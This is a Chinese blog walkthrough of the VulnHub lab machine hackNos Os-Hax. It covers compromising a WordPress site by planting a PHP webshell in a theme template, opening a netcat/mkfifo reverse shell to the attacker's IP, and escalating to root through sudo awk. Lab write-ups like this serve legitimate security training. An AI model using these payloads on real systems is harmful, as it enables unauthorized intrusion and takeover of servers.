Os-Hax

下载地址:hackNos: Os-Hax ~ VulnHub

1 信息收集

1.1 端口扫描

1.2 后台目录扫描

Target: http://192.168.0.3/

[10:31:44] Starting:
[10:31:58] 200 - 736B - /html/
[10:31:58] 200 - 3KB - /index.html
[10:31:59] 200 - 2KB - /js/
[10:32:12] 200 - 11KB - /wordpress/
[10:32:12] 200 - 3KB - /wordpress/wp-login.php

1.2.1 目录分析

  1. 根据扫描出来的目标,得知该网站使用了wordpress,使用wpscan扫描下:

    发现一个XML-RPC_Pingback_API的漏洞

  2. 存在目录列表漏洞,在http://192.168.0.3/img/目录下发现flag信息

  3. 下载下来分析:发现存在passw@45

    分析软件下载:ExifTool by Phil Harvey

  4. 在博客页面中发现一个web用户

  5. 尝试使用web密码登陆失败,尝试访问http://192.168.0.3/passw@45/,得到flag2.txt

    i+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ +++++ .<+++ +[->- ---<]
    >--.- --.<+ +++++ [->-- ----< ]>--- -.<++ +[->+ ++<]> +++++ .<+++ ++[->
    +++++ <]>.+ +.+++ +++++ .---- --.<+ ++[-> +++<] >++++ .<+++ ++++[ ->---
    ----< ]>-.< +++[- >---< ]>--- .+.-- --.++ +.< # 解密后字符
    web:Hacker@4514

    解密网站:Brainfuck/Ook! Obfuscation/Encoding splitbrain.org

  6. 根据http://192.168.0.3/passw@45/hostconfigure.txt配置kali的hosts

    cat /etc/hosts
    #127.0.0.1 localhost
    192.168.0.3 localhost
    127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts
    #::1 localhost ip6-localhost ip6-loopback
  7. 尝试使用解密的用户密码登陆wordpress后台:http://localhost/wordpress/wp-login.php成功进入后台页面。

  8. 在正在使用的模板页面中插入php一句话

    # 如在header模板中:
    <?php system($_POST['acmd']); ?>

2 反弹Shell

  1. kali监听nc连接

    nc -nvlp 2333
  2. 利用BP反弹shell

    POST /wordpress/ HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 117 acmd=rm+/tmp/getshell%3bmkfifo+/tmp/getshell%3bcat+/tmp/getshell|/bin/sh+-i+2>%261|nc+192.168.0.2+2333+>/tmp/getshell

  3. 利用python更换shell

    python -c "import pty;pty.spawn('/bin/bash')"

3 提权

3.1 尝试提权

  1. 利用sudo提权:失败

    sudo su -

3.2 收集当前系统信息

  1. 查看目标主机有哪些用户:存在user-a与web用户

  2. 查看每个用户家目录所存在的文件:web家目录中存在flag3.txt文件,user-a有sudo权限

  3. 在web家目录下找到flag3.txt

    40740735d446c27cd551f890030f7c75
    # Rahul[空格]James
    Rahul James

  4. 尝试登录web用户:利用之前收集到的用户与密码成功登录web:Hacker@4514

  5. 尝试sudo提权:失败

  6. 查看web所拥有的权限:awk

3.3 利用sudo awk提权

sudo awk 'BEGIN {system("/bin/bash")}'

Os-Hax的更多相关文章

  1. NodeJs之OS

    OS Node.js提供了一些基本的底层操作系统的模块OS. API var os = require('os'); console.log('[arch] 操作系统CPU架构'+os.arch()) ...

  2. Node.js:OS模块

    os模块,可以用来获取操作系统相关的信息和机器物理信息,例如操作系统平台,内核,cpu架构,内存,cpu,网卡等信息. 使用如下所示: const os = require('os'); var de ...

  3. Xamarin+Prism开发详解四:简单Mac OS 虚拟机安装方法与Visual Studio for Mac 初体验

    Mac OS 虚拟机安装方法 最近把自己的电脑升级了一下SSD固态硬盘,总算是有容量安装Mac 虚拟机了!经过心碎的安装探索,尝试了国内外的各种安装方法,最后在youtube上找到了一个好方法. 简单 ...

  4. Mac OS 使用 Vagrant 管理虚拟机(VirtualBox)

    Vagrant(官网.github)是一款构建虚拟开发环境的工具,支持 Window,Linux,Mac OS,Vagrant 中的 Boxes 概念类似于 Docker(实质是不同的),你可以把它看 ...

  5. Mac OS、Ubuntu 安装及使用 Consul

    Consul 概念(摘录): Consul 是 HashiCorp 公司推出的开源工具,用于实现分布式系统的服务发现与配置.与其他分布式服务注册与发现的方案,比如 Airbnb 的 SmartStac ...

  6. java 利用ManagementFactory获取jvm,os的一些信息--转

    原文地址:http://blog.csdn.net/dream_broken/article/details/49759043 想了解下某个Java项目的运行时jvm的情况,可以使用一些监控工具,比如 ...

  7. 让 ASP.NET vNext 在 Mac OS 中飞呀飞。。。

    写在前面 阅读目录: 娓娓道来 Install ASP.NET vNext Command Line Tools 安装 Homebrew 使用 Homebrew,安装 KVM Install Subl ...

  8. Mac OS X 上编写 ASP.NET vNext (二) IDE配置

    上一篇中介绍了如何在OS X上搭建.Net运行时.不过光有运行时还不够,还需要有一个好用的IDE,有了IDE的支持,OS X上的开发才称为可能. 和上篇类似,这里先列举出具体步骤,个人可以根据自己的情 ...

  9. 在Mac OS X上安装ASP.NET 5(译文)

    ASP.NET 5 运行在包括OS X的可用于多个平台的.NET Execution Environment(DNX)上.本文介绍如何在OS X上通过HomeBrew安装DNX和ASP.NET 5. ...

  10. Python标准模块--os

    1.模块简介 os模块主要包含普遍的操作系统相关操作,如果开发者希望自己开发的Python应用能够与平台无关,尤其需要关注os这个模块. 2.模块使用 2.1 os模块 1. os.name,输出字符 ...

随机推荐

  1. php+nginx环境搭建

    PHP安装教程参考:https://www.cnblogs.com/kyuang/p/6801942.html 1.安装基础环境: yum -y install gcc bison bison-dev ...

  2. 【每日一题】【优先队列、迭代器、lambda表达式】2022年1月15日-NC119 最小的K个数

    描述 给定一个长度为 n 的可能有重复值的数组,找出其中不去重的最小的 k 个数.例如数组元素是4,5,1,6,2,7,3,8这8个数字,则最小的4个数字是1,2,3,4(任意顺序皆可). 数据范围: ...

  3. 【离线数仓】Day04-即席查询(Ad Hoc):Presto链接不同数据源查询、Druid建多维表、Kylin使用cube快速查询

    一.Presto 1.简介 概念:大数据量.秒级.分布式SQL查询engine[解析SQL但不是数据库] 架构 不同worker对应不同的数据源(各数据源有对应的connector连接适配器) 优缺点 ...

  4. Py2neo:一种快速导入百万数据到Neo4j的方式

    Py2neo:一种快速导入百万数据到Neo4j的方式 Py2neo是一个可以和Neo4j图数据库进行交互的python包.虽然py2neo操作简单方便,但是当节点和关系达几十上百万时,直接创建和导入节 ...

  5. 使用Spring Reactor优化推荐流程

    1. 背景 公司有一个推荐系统Rec,这个系统的主要功能是: 向外部系统提供推荐接口 根据请求获取推荐策略 根据推荐策略完成推荐的召回.过滤.打分.排序阶段 Rec作为微服务中的一环,本身不存储召回的 ...

  6. JavaScript:控制跳转:break、continue与标签

    在循环结构中,经常需要使用关键字break和continue来控制跳转: 遇到break,就会跳出循环结构,执行循环体后面的代码: 遇到continue,就会跳出本次循环,进入下一次循环: 那么,假如 ...

  7. Wireshark网卡无法找到或没有显示的问题

    问题背景 最近在处理公司内网域名解析的问题,发现配置好一个新域名在内网环境可以正常解析成内网IP,但使用深信服VPN却无法正常解析,并且其他域名使用深信服VPN可以正常解析,所以参考<内网域名解 ...

  8. 什么是RPC? (全面了解)

    一:RPC 1.什么是RPC? RPC 是指远程过程调用,也就是说两台服务器,A 和 B,一个应用部署在A 服务器上,想要调用B 服务器上应用提供的函数或方法,由于不在一个内存空间,不能直接调用,需要 ...

  9. MySQL 更新数据 不同条件(批量)更新不同值

    一般在更新时会遇到以下场景:1.全部更新:2.根据条件更新字段中的某部分内容:3.根据不同的条件更新不同的值,以下是几种场景中常用的update方法. 一.方法分类 二.具体用法 (1)根据条件更新值 ...

  10. Java基础学习笔记-类的静态属性和静态方法--待继续补充

    程序运行时的内存占用 代码区(code area) 存放代码 数据区(data area) 存放全局数据.静态数据 堆区(heap area) 存放动态申请的数据 栈区(stack area) 存放局 ...